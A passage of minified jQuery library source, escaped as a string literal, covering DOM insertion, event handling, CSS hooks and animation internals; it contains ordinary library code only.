n,o,r=[],i=0,l=e.length;i<l;i++)(o=e[i]).style&&(n=o.style.display,t?(\\\"none\\\"===n&&(r[i]=X.get(o,\\\"display\\\")||null,r[i]||(o.style.display=\\\"\\\")),\\\"\\\"===o.style.display&&ee(o)&&(r[i]=re(o))):\\\"none\\\"!==n&&(r[i]=\\\"none\\\",X.set(o,\\\"display\\\",n)));for(i=0;i<l;i++)null!=r[i]&&(e[i].style.display=r[i]);return e}E.fn.extend({show:function(){return ie(this,!0)},hide:function(){return ie(this)},toggle:function(e){return\\\"boolean\\\"==typeof e?e?this.show():this.hide():this.each(function(){ee(this)?E(this).show():E(this).hide()})}});var le=/^(?:checkbox|radio)$/i,se=/<([a-z][^\\\\/\\\\0>\\\\x20\\\\t\\\\r\\\\n\\\\f]+)/i,ae=/^$|\\\\/(?:java|ecma)script/i,ce={option:[1,\\\"<select multiple='multiple'>\\\",\\\"</select>\\\"],thead:[1,\\\"<table>\\\",\\\"</table>\\\"],col:[2,\\\"<table><colgroup>\\\",\\\"</colgroup></table>\\\"],tr:[2,\\\"<table><tbody>\\\",\\\"</tbody></table>\\\"],td:[3,\\\"<table><tbody><tr>\\\",\\\"</tr></tbody></table>\\\"],_default:[0,\\\"\\\",\\\"\\\"]};function ue(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||\\\"*\\\"):void 0!==e.querySelectorAll?e.querySelectorAll(t||\\\"*\\\"):[],void 0===t||t&&k(e,t)?E.merge([e],n):n}function de(e,t){for(var n=0,o=e.length;n<o;n++)X.set(e[n],\\\"globalEval\\\",!t||X.get(t[n],\\\"globalEval\\\"))}ce.optgroup=ce.option,ce.tbody=ce.tfoot=ce.colgroup=ce.caption=ce.thead,ce.th=ce.td;var pe,fe,he,ge=/<|&#?\\\\w+;/;function me(e,t,n,o,r){for(var i,l,s,a,c,u,d=t.createDocumentFragment(),p=[],f=0,h=e.length;f<h;f++)if((i=e[f])||0===i)if(\\\"object\\\"===E.type(i))E.merge(p,i.nodeType?[i]:i);else if(ge.test(i)){for(l=l||d.appendChild(t.createElement(\\\"div\\\")),s=(se.exec(i)||[\\\"\\\",\\\"\\\"])[1].toLowerCase(),a=ce[s]||ce._default,l.innerHTML=a[1]+E.htmlPrefilter(i)+a[2],u=a[0];u--;)l=l.lastChild;E.merge(p,l.childNodes),(l=d.firstChild).textContent=\\\"\\\"}else p.push(t.createTextNode(i));for(d.textContent=\\\"\\\",f=0;i=p[f++];)if(o&&-1<E.inArray(i,o))r&&r.push(i);else if(c=E.contains(i.ownerDocument,i),l=ue(d.appendChild(i),\\\"script\\\"),c&&de(l),n)for(u=0;i=l[u++];)ae.test(i.type||\\\"\\\")&&n.push(i);return d}pe=S.createDocumentFragment(),fe=pe.appendChild(S.createElement(\\\"div\\\")),(he=S.createElement(\\\"input\\\")).setAttribute(\\\"type\\\",\\\"radio\\\"),he.setAttribute(\\\"checked\\\",\\\"checked\\\"),he.setAttribute(\\\"name\\\",\\\"t\\\"),fe.appendChild(he),m.checkClone=fe.cloneNode(!0).cloneNode(!0).lastChild.checked,fe.innerHTML=\\\"<textarea>x</textarea>\\\",m.noCloneChecked=!!fe.cloneNode(!0).lastChild.defaultValue;var ve=S.documentElement,we=/^key/,ye=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\\\\.(.+)|)/;function be(){return!0}function xe(){return!1}function Re(){try{return S.activeElement}catch(e){}}function Se(e,t,n,o,r,i){var l,s;if(\\\"object\\\"==typeof t){for(s in\\\"string\\\"!=typeof n&&(o=o||n,n=void 0),t)Se(e,s,n,o,t[s],i);return e}if(null==o&&null==r?(r=n,o=n=void 0):null==r&&(\\\"string\\\"==typeof n?(r=o,o=void 0):(r=o,o=n,n=void 0)),!1===r)r=xe;else if(!r)return e;return 1===i&&(l=r,(r=function(e){return E().off(e),l.apply(this,arguments)}).guid=l.guid||(l.guid=E.guid++)),e.each(function(){E.event.add(this,t,r,o,n)})}E.event={global:{},add:function(t,e,n,o,r){var i,l,s,a,c,u,d,p,f,h,g,m=X.get(t);if(m)for(n.handler&&(n=(i=n).handler,r=i.selector),r&&E.find.matchesSelector(ve,r),n.guid||(n.guid=E.guid++),(a=m.events)||(a=m.events={}),(l=m.handle)||(l=m.handle=function(e){return void 0!==E&&E.event.triggered!==e.type?E.event.dispatch.apply(t,arguments):void 0}),e=(e||\\\"\\\").match(_)||[\\\"\\\"],c=e.length;c--;)s=Ce.exec(e[c])||[],f=g=s[1],h=(s[2]||\\\"\\\").split(\\\".\\\").sort(),f&&(d=E.event.special[f]||{},f=(r?d.delegateType:d.bindType)||f,d=E.event.special[f]||{},u=E.extend({type:f,origType:g,data:o,handler:n,guid:n.guid,selector:r,needsContext:r&&E.expr.match.needsContext.test(r),namespace:h.join(\\\".\\\")},i),(p=a[f])||((p=a[f]=[]).delegateCount=0,d.setup&&!1!==d.setup.call(t,o,h,l)||t.addEventListener&&t.addEventListener(f,l)),d.add&&(d.add.call(t,u),u.handler.guid||(u.handler.guid=n.guid)),r?p.splice(p.delegateCount++,0,u):p.push(u),E.event.global[f]=!0)},remove:function(e,t,n,o,r){var i,l,s,a,c,u,d,p,f,h,g,m=X.hasData(e)&&X.get(e);if(m&&(a=m.events)){for(t=(t||\\\"\\\").match(_)||[\\\"\\\"],c=t.length;c--;)if(s=Ce.exec(t[c])||[],f=g=s[1],h=(s[2]||\\\"\\\").split(\\\".\\\").sort(),f){for(d=E.event.special[f]||{},f=(o?d.delegateType:d.bindType)||f,p=a[f]||[],s=s[2]&&new RegExp(\\\"(^|\\\\\\\\.)\\\"+h.join(\\\"\\\\\\\\.(?:.*\\\\\\\\.|)\\\")+\\\"(\\\\\\\\.|$)\\\"),l=i=p.length;i--;)u=p[i],!r&&g!==u.origType||n&&n.guid!==u.guid||s&&!s.test(u.namespace)||o&&o!==u.selector&&(\\\"**\\\"!==o||!u.selector)||(p.splice(i,1),u.selector&&p.delegateCount--,d.remove&&d.remove.call(e,u));l&&!p.length&&(d.teardown&&!1!==d.teardown.call(e,h,m.handle)||E.removeEvent(e,f,m.handle),delete a[f])}else for(f in a)E.event.remove(e,f+t[c],n,o,!0);E.isEmptyObject(a)&&X.remove(e,\\\"handle events\\\")}},dispatch:function(e){var t,n,o,r,i,l,s=E.event.fix(e),a=new Array(arguments.length),c=(X.get(this,\\\"events\\\")||{})[s.type]||[],u=E.event.special[s.type]||{};for(a[0]=s,t=1;t<arguments.length;t++)a[t]=arguments[t];if(s.delegateTarget=this,!u.preDispatch||!1!==u.preDispatch.call(this,s)){for(l=E.event.handlers.call(this,s,c),t=0;(r=l[t++])&&!s.isPropagationStopped();)for(s.currentTarget=r.elem,n=0;(i=r.handlers[n++])&&!s.isImmediatePropagationStopped();)s.rnamespace&&!s.rnamespace.test(i.namespace)||(s.handleObj=i,s.data=i.data,void 0!==(o=((E.event.special[i.origType]||{}).handle||i.handler).apply(r.elem,a))&&!1===(s.result=o)&&(s.preventDefault(),s.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,s),s.result}},handlers:function(e,t){var n,o,r,i,l,s=[],a=t.delegateCount,c=e.target;if(a&&c.nodeType&&!(\\\"click\\\"===e.type&&1<=e.button))for(;c!==this;c=c.parentNode||this)if(1===c.nodeType&&(\\\"click\\\"!==e.type||!0!==c.disabled)){for(i=[],l={},n=0;n<a;n++)o=t[n],r=o.selector+\\\" \\\",void 0===l[r]&&(l[r]=o.needsContext?-1<E(r,this).index(c):E.find(r,this,null,[c]).length),l[r]&&i.push(o);i.length&&s.push({elem:c,handlers:i})}return c=this,a<t.length&&s.push({elem:c,handlers:t.slice(a)}),s},addProp:function(t,e){Object.defineProperty(E.Event.prototype,t,{enumerable:!0,configurable:!0,get:E.isFunction(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[E.expando]?e:new E.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Re()&&this.focus)return this.focus(),!1},delegateType:\\\"focusin\\\"},blur:{trigger:function(){if(this===Re()&&this.blur)return this.blur(),!1},delegateType:\\\"focusout\\\"},click:{trigger:function(){if(\\\"checkbox\\\"===this.type&&this.click&&k(this,\\\"input\\\"))return this.click(),!1},_default:function(e){return k(e.target,\\\"a\\\")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},E.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},E.Event=function(e,t){if(!(this instanceof E.Event))return new E.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?be:xe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&E.extend(this,t),this.timeStamp=e&&e.timeStamp||E.now(),this[E.expando]=!0},E.Event.prototype={constructor:E.Event,isDefaultPrevented:xe,isPropagationStopped:xe,isImmediatePropagationStopped:xe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=be,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=be,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=be,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},E.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&ye.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},E.event.addProp),E.each({mouseenter:\\\"mouseover\\\",mouseleave:\\\"mouseout\\\",pointerenter:\\\"pointerover\\\",pointerleave:\\\"pointerout\\\"},function(e,r){E.event.special[e]={delegateType:r,bindType:r,handle:function(e){var t,n=e.relatedTarget,o=e.handleObj;return n&&(n===this||E.contains(this,n))||(e.type=o.origType,t=o.handler.apply(this,arguments),e.type=r),t}}}),E.fn.extend({on:function(e,t,n,o){return Se(this,e,t,n,o)},one:function(e,t,n,o){return Se(this,e,t,n,o,1)},off:function(e,t,n){var o,r;if(e&&e.preventDefault&&e.handleObj)return o=e.handleObj,E(e.delegateTarget).off(o.namespace?o.origType+\\\".\\\"+o.namespace:o.origType,o.selector,o.handler),this;if(\\\"object\\\"==typeof e){for(r in e)this.off(r,t,e[r]);return this}return!1!==t&&\\\"function\\\"!=typeof t||(n=t,t=void 0),!1===n&&(n=xe),this.each(function(){E.event.remove(this,e,n,t)})}});var Ee=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\\\/\\\\0>\\\\x20\\\\t\\\\r\\\\n\\\\f]*)[^>]*)\\\\/>/gi,ke=/<script|<style|<link/i,Te=/checked\\\\s*(?:[^=]|=\\\\s*.checked.)/i,Pe=/^true\\\\/(.*)/,De=/^\\\\s*<!(?:\\\\[CDATA\\\\[|--)|(?:\\\\]\\\\]|--)>\\\\s*$/g;function Ae(e,t){return k(e,\\\"table\\\")&&k(11!==t.nodeType?t:t.firstChild,\\\"tr\\\")&&E(\\\">tbody\\\",e)[0]||e}function Ne(e){return e.type=(null!==e.getAttribute(\\\"type\\\"))+\\\"/\\\"+e.type,e}function $e(e){var t=Pe.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\\\"type\\\"),e}function He(e,t){var n,o,r,i,l,s,a,c;if(1===t.nodeType){if(X.hasData(e)&&(i=X.access(e),l=X.set(t,i),c=i.events))for(r in delete l.handle,l.events={},c)for(n=0,o=c[r].length;n<o;n++)E.event.add(t,r,c[r][n]);U.hasData(e)&&(s=U.access(e),a=E.extend({},s),U.set(t,a))}}function Le(e,t){var n=t.nodeName.toLowerCase();\\\"input\\\"===n&&le.test(e.type)?t.checked=e.checked:\\\"input\\\"!==n&&\\\"textarea\\\"!==n||(t.defaultValue=e.defaultValue)}function Fe(n,o,r,i){o=g.apply([],o);var e,t,l,s,a,c,u=0,d=n.length,p=d-1,f=o[0],h=E.isFunction(f);if(h||1<d&&\\\"string\\\"==typeof f&&!m.checkClone&&Te.test(f))return n.each(function(e){var t=n.eq(e);h&&(o[0]=f.call(this,e,t.html())),Fe(t,o,r,i)});if(d&&(e=me(o,n[0].ownerDocument,!1,n,i),t=e.firstChild,1===e.childNodes.length&&(e=t),t||i)){for(l=E.map(ue(e,\\\"script\\\"),Ne),s=l.length;u<d;u++)a=e,u!==p&&(a=E.clone(a,!0,!0),s&&E.merge(l,ue(a,\\\"script\\\"))),r.call(n[u],a,u);if(s)for(c=l[l.length-1].ownerDocument,E.map(l,$e),u=0;u<s;u++)a=l[u],ae.test(a.type||\\\"\\\")&&!X.access(a,\\\"globalEval\\\")&&E.contains(c,a)&&(a.src?E._evalUrl&&E._evalUrl(a.src):v(a.textContent.replace(De,\\\"\\\"),c))}return n}function _e(e,t,n){for(var o,r=t?E.filter(t,e):e,i=0;null!=(o=r[i]);i++)n||1!==o.nodeType||E.cleanData(ue(o)),o.parentNode&&(n&&E.contains(o.ownerDocument,o)&&de(ue(o,\\\"script\\\")),o.parentNode.removeChild(o));return e}E.extend({htmlPrefilter:function(e){return e.replace(Ee,\\\"<$1></$2>\\\")},clone:function(e,t,n){var o,r,i,l,s=e.cloneNode(!0),a=E.contains(e.ownerDocument,e);if(!(m.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||E.isXMLDoc(e)))for(l=ue(s),i=ue(e),o=0,r=i.length;o<r;o++)Le(i[o],l[o]);if(t)if(n)for(i=i||ue(e),l=l||ue(s),o=0,r=i.length;o<r;o++)He(i[o],l[o]);else He(e,s);return 0<(l=ue(s,\\\"script\\\")).length&&de(l,!a&&ue(e,\\\"script\\\")),s},cleanData:function(e){for(var t,n,o,r=E.event.special,i=0;void 0!==(n=e[i]);i++)if(O(n)){if(t=n[X.expando]){if(t.events)for(o in t.events)r[o]?E.event.remove(n,o):E.removeEvent(n,o,t.handle);n[X.expando]=void 0}n[U.expando]&&(n[U.expando]=void 0)}}}),E.fn.extend({detach:function(e){return _e(this,e,!0)},remove:function(e){return _e(this,e)},text:function(e){return q(this,function(e){return void 0===e?E.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Fe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Ae(this,e);t.appendChild(e)}})},prepend:function(){return Fe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Ae(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Fe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Fe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(E.cleanData(ue(e,!1)),e.textContent=\\\"\\\");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return E.clone(this,e,t)})},html:function(e){return q(this,function(e){var t=this[0]||{},n=0,o=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if(\\\"string\\\"==typeof e&&!ke.test(e)&&!ce[(se.exec(e)||[\\\"\\\",\\\"\\\"])[1].toLowerCase()]){e=E.htmlPrefilter(e);try{for(;n<o;n++)1===(t=this[n]||{}).nodeType&&(E.cleanData(ue(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return Fe(this,arguments,function(e){var t=this.parentNode;E.inArray(this,n)<0&&(E.cleanData(ue(this)),t&&t.replaceChild(e,this))},n)}}),E.each({appendTo:\\\"append\\\",prependTo:\\\"prepend\\\",insertBefore:\\\"before\\\",insertAfter:\\\"after\\\",replaceAll:\\\"replaceWith\\\"},function(e,l){E.fn[e]=function(e){for(var t,n=[],o=E(e),r=o.length-1,i=0;i<=r;i++)t=i===r?this:this.clone(!0),E(o[i])[l](t),a.apply(n,t.get());return this.pushStack(n)}});var Ie=/^margin/,Me=new RegExp(\\\"^(\\\"+Q+\\\")(?!px)[a-z%]+$\\\",\\\"i\\\"),We=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=R),t.getComputedStyle(e)};function je(e,t,n){var o,r,i,l,s=e.style;return(n=n||We(e))&&(\\\"\\\"!==(l=n.getPropertyValue(t)||n[t])||E.contains(e.ownerDocument,e)||(l=E.style(e,t)),!m.pixelMarginRight()&&Me.test(l)&&Ie.test(t)&&(o=s.width,r=s.minWidth,i=s.maxWidth,s.minWidth=s.maxWidth=s.width=l,l=n.width,s.width=o,s.minWidth=r,s.maxWidth=i)),void 0!==l?l+\\\"\\\":l}function Ve(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){l.style.cssText=\\\"box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%\\\",l.innerHTML=\\\"\\\",ve.appendChild(i);var e=R.getComputedStyle(l);t=\\\"1%\\\"!==e.top,r=\\\"2px\\\"===e.marginLeft,n=\\\"4px\\\"===e.width,l.style.marginRight=\\\"50%\\\",o=\\\"4px\\\"===e.marginRight,ve.removeChild(i),l=null}}var t,n,o,r,i=S.createElement(\\\"div\\\"),l=S.createElement(\\\"div\\\");l.style&&(l.style.backgroundClip=\\\"content-box\\\",l.cloneNode(!0).style.backgroundClip=\\\"\\\",m.clearCloneStyle=\\\"content-box\\\"===l.style.backgroundClip,i.style.cssText=\\\"border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute\\\",i.appendChild(l),E.extend(m,{pixelPosition:function(){return e(),t},boxSizingReliable:function(){return e(),n},pixelMarginRight:function(){return e(),o},reliableMarginLeft:function(){return e(),r}}))}();var Be=/^(none|table(?!-c[ea]).+)/,qe=/^--/,Oe={position:\\\"absolute\\\",visibility:\\\"hidden\\\",display:\\\"block\\\"},ze={letterSpacing:\\\"0\\\",fontWeight:\\\"400\\\"},Xe=[\\\"Webkit\\\",\\\"Moz\\\",\\\"ms\\\"],Ue=S.createElement(\\\"div\\\").style;function Ke(e){var t=E.cssProps[e];return t||(t=E.cssProps[e]=function(e){if(e in Ue)return e;var t=e[0].toUpperCase()+e.slice(1),n=Xe.length;for(;n--;)if((e=Xe[n]+t)in Ue)return e}(e)||e),t}function Ge(e,t,n){var o=J.exec(t);return o?Math.max(0,o[2]-(n||0))+(o[3]||\\\"px\\\"):t}function Ye(e,t,n,o,r){var i,l=0;for(i=n===(o?\\\"border\\\":\\\"content\\\")?4:\\\"width\\\"===t?1:0;i<4;i+=2)\\\"margin\\\"===n&&(l+=E.css(e,n+Z[i],!0,r)),o?(\\\"content\\\"===n&&(l-=E.css(e,\\\"padding\\\"+Z[i],!0,r)),\\\"margin\\\"!==n&&(l-=E.css(e,\\\"border\\\"+Z[i]+\\\"Width\\\",!0,r))):(l+=E.css(e,\\\"padding\\\"+Z[i],!0,r),\\\"padding\\\"!==n&&(l+=E.css(e,\\\"border\\\"+Z[i]+\\\"Width\\\",!0,r)));return l}function Qe(e,t,n){var o,r=We(e),i=je(e,t,r),l=\\\"border-box\\\"===E.css(e,\\\"boxSizing\\\",!1,r);return Me.test(i)?i:(o=l&&(m.boxSizingReliable()||i===e.style[t]),\\\"auto\\\"===i&&(i=e[\\\"offset\\\"+t[0].toUpperCase()+t.slice(1)]),(i=parseFloat(i)||0)+Ye(e,t,n||(l?\\\"border\\\":\\\"content\\\"),o,r)+\\\"px\\\")}function Je(e,t,n,o,r){return new Je.prototype.init(e,t,n,o,r)}E.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=je(e,\\\"opacity\\\");return\\\"\\\"===n?\\\"1\\\":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{float:\\\"cssFloat\\\"},style:function(e,t,n,o){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var r,i,l,s=E.camelCase(t),a=qe.test(t),c=e.style;if(a||(t=Ke(s)),l=E.cssHooks[t]||E.cssHooks[s],void 0===n)return l&&\\\"get\\\"in l&&void 0!==(r=l.get(e,!1,o))?r:c[t];\\\"string\\\"===(i=typeof n)&&(r=J.exec(n))&&r[1]&&(n=ne(e,t,r),i=\\\"number\\\"),null!=n&&n==n&&(\\\"number\\\"===i&&(n+=r&&r[3]||(E.cssNumber[s]?\\\"\\\":\\\"px\\\")),m.clearCloneStyle||\\\"\\\"!==n||0!==t.indexOf(\\\"background\\\")||(c[t]=\\\"inherit\\\"),l&&\\\"set\\\"in l&&void 0===(n=l.set(e,n,o))||(a?c.setProperty(t,n):c[t]=n))}},css:function(e,t,n,o){var r,i,l,s=E.camelCase(t),a=qe.test(t);return a||(t=Ke(s)),(l=E.cssHooks[t]||E.cssHooks[s])&&\\\"get\\\"in l&&(r=l.get(e,!0,n)),void 0===r&&(r=je(e,t,o)),\\\"normal\\\"===r&&t in ze&&(r=ze[t]),\\\"\\\"===n||n?(i=parseFloat(r),!0===n||isFinite(i)?i||0:r):r}}),E.each([\\\"height\\\",\\\"width\\\"],function(e,l){E.cssHooks[l]={get:function(e,t,n){if(t)return!Be.test(E.css(e,\\\"display\\\"))||e.getClientRects().length&&e.getBoundingClientRect().width?Qe(e,l,n):te(e,Oe,function(){return Qe(e,l,n)})},set:function(e,t,n){var o,r=n&&We(e),i=n&&Ye(e,l,n,\\\"border-box\\\"===E.css(e,\\\"boxSizing\\\",!1,r),r);return i&&(o=J.exec(t))&&\\\"px\\\"!==(o[3]||\\\"px\\\")&&(e.style[l]=t,t=E.css(e,l)),Ge(e,t,i)}}}),E.cssHooks.marginLeft=Ve(m.reliableMarginLeft,function(e,t){if(t)return(parseFloat(je(e,\\\"marginLeft\\\"))||e.getBoundingClientRect().left-te(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+\\\"px\\\"}),E.each({margin:\\\"\\\",padding:\\\"\\\",border:\\\"Width\\\"},function(r,i){E.cssHooks[r+i]={expand:function(e){for(var t=0,n={},o=\\\"string\\\"==typeof e?e.split(\\\" \\\"):[e];t<4;t++)n[r+Z[t]+i]=o[t]||o[t-2]||o[0];return n}},Ie.test(r)||(E.cssHooks[r+i].set=Ge)}),E.fn.extend({css:function(e,t){return q(this,function(e,t,n){var o,r,i={},l=0;if(Array.isArray(t)){for(o=We(e),r=t.length;l<r;l++)i[t[l]]=E.css(e,t[l],!1,o);return i}return void 0!==n?E.style(e,t,n):E.css(e,t)},e,t,1<arguments.length)}}),((E.Tween=Je).prototype={constructor:Je,init:function(e,t,n,o,r,i){this.elem=e,this.prop=n,this.easing=r||E.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=o,this.unit=i||(E.cssNumber[n]?\\\"\\\":\\\"px\\\")},cur:function(){var e=Je.propHooks[this.prop];return e&&e.get?e.get(this):Je.propHooks._default.get(this)},run:function(e){var t,n=Je.propHooks[this.prop];return this.options.duration?this.pos=t=E.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Je.propHooks._default.set(this),this}}).init.prototype=Je.prototype,(Je.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=E.css(e.elem,e.prop,\\\"\\\"))&&\\\"auto\\\"!==t?t:0},set:function(e){E.fx.step[e.prop]?E.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[E.cssProps[e.prop]]&&!E.cssHooks[e.prop]?e.elem[e.prop]=e.now:E.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=Je.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},E.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:\\\"swing\\\"},E.fx=Je.prototype.init,E.fx.step={};var Ze,et,tt,nt,ot,rt=/^(?:toggle|show|hide)$/,it=/queueHooks$/;function lt(){et&&(!1===S.hidden&&R.requestAnimationFrame?R.requestAnimationFrame(lt):R.setTimeout(lt,E.fx.interval),E.fx.tick())}function st(){return R.setTimeout(function(){Ze=void 0}),Ze=E.now()}function at(e,t){var n,o=0,r={height:e};for(t=t?1:0;o<4;o+=2-t)n=Z[o],r[\\\"margin\\\"+n]=r[\\\"padding\\\"+n]=e;return t&&(r.opacity=r.width=e),r}function ct(e,t,n){for(var o,r=(ut.tweeners[t]||[]).concat(ut.tweeners[\\\"*\\\"]),i=0,l=r.length;i<l;i++)if(o=r[i].call(n,t,e))return o}function ut(l,e,t){var n,s,o=0,r=ut.prefilters.length,a=E.Deferred().always(function(){delete i.elem}),i=function(){if(s)return!1;for(var e=Ze||st(),t=Math.max(0,c.startTime+c.duration-e),n=t/c.duration||0,o=1-n,r=0,i=c.tweens.length;r<i;r++)c.tweens[r].run(o);return a.notifyWith(l,[c,o,t]),o<1&&i?t:(i||a.notifyWith(l,[c,1,0]),a.resolveWith(l,[c]),!1)},c=a.promise({elem:l,props:E.extend({},e),opts:E.extend(!0,{specialEasing:{},easing:E.easing._default},t),originalProperties:e,originalOptions:t,startTime:Ze||st(),duration:t.duration,tweens:[],createTween:function(e,t){var n=E.Tween(l,c.opts,e,t,c.opts.specialEasing[e]||c.opts.easing);return c.tweens.push(n),n},stop:function(e){var t=0,n=e?c.tweens.length:0;if(s)return this;for(s=!0;t<n;t++)c.tweens[t].run(1);return e?(a.notifyWith(l,[c,1,0]),a.resolveWith(l,[c,e])):a.rejectWith(l,[c,e]),this}}),u=c.props;for(!function(e,t){var n,o,r,i,l;for(n in e)if(o=E.camelCase(n),r=t[o],i=e[n],Array.isArray(i)&&(r=i[1],i=e[n]=i[0]),n!==o&&(e[o]=i,delete e[n]),(l=E.cssHooks[o])&&\\\"expand\\\"in l)for(n in i=l.expand(i),delete e[o],i)n in e||(e[n]=i[n],t[n]=r);else t[o]=r}(u,c.opts.specialEasing);o<r;o++)if(n=ut.prefilters[o].call(c,l,u,c.opts))return E.isFunction(n.stop)&&(E._queueHooks(c.elem,c.opts.queue).stop=E.proxy(n.stop,n)),n;return E.map(u,ct,c),E.isFunction(c.opts.start)&&c.opts.start.call(l,c),c.progress(c.opts.progress).done(c.opts.done,c.opts.complete).fail(c.opts.fail).always(c.opts.always),E.fx.timer(E.extend(i,{elem:l,anim:c,queue:c.opts.queue})),c}E.Animation=E.extend(ut,{tweeners:{\\\"*\\\":[function(e,t){var n=this.createTween(e,t);return ne(n.elem,e,J.exec(t),n),n}]},tweener:function(e,t){E.isFunction(e)?(t=e,e=[\\\"*\\\"]):e=e.match(_);for(var n,o=0,r=e.length;o<r;o++)n=e[o],ut.tweeners[n]=ut.tweeners[n]||[],ut.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var o,r,i,l,s,a,c,u,d=\\\"width\\\"in t||\\\"height\\\"in t,p=this,f={},h=e.style,g=e.nodeType&&ee(e),m=X.get(e,\\\"fxshow\\\");n.queue||(null==(l=E._queueHooks(e,\\\"fx\\\")).unqueued&&(l.unqueued=0,s=l.empty.fire,l.empty.fire=function(){l.unqueued||s()}),l.unqueued++,p.always(function(){p.always(function(){l.unqueued--,E.queue(e,\\\"fx\\\").length||l.empty.fire()})}));for(o in t)if(r=t[o],rt.test(r)){if(delete t[o],i=i||\\\"toggle\\\"===r,r===(g?\\\"hide\\\":\\\"show\\\")){if(\\\"show\\\"!==r||!m||void 0===m[o])continue;g=!0}f[o]=m&&m[o]||E.style(e,o)}if(!(a=!E.isEmptyObject(t))&&E.isEmptyObject(f))return;d&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(c=m&&m.display)&&(c=X.get(e,\\\"display\\\")),\\\"none\\\"===(u=E.css(e,\\\"display\\\"))&&(c?u=c:(ie([e],!0),c=e.style.display||c,u=E.css(e,\\\"display\\\"),ie([e]))),(\\\"inline\\\"===u||\\\"inline-block\\\"===u&&null!=c)&&\\\"none\\\"===E.css(e,\\\"float\\\")&&(a||(p.done(function(){h.display=c}),null==c&&(u=h.display,c=\\\"none\\\"===u?\\\"\\\":u)),h.display=\\\"inline-block\\\"));n.overflow&&(h.overflow=\\\"hidden\\\",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]}));for(o in a=!1,f)a||(m?\\\"hidden\\\"in m&&(g=m.hidden):m=X.access(e,\\\"fxshow\\\",{display:c}),i&&(m.hidden=!g),g&&ie([e],!0),p.done(function(){for(o in g||ie([e]),X.remove(e,\\\"fxshow\\\"),f)E.style(e,o,f[o])})),a=ct(g?m[o]:0,o,p),o in 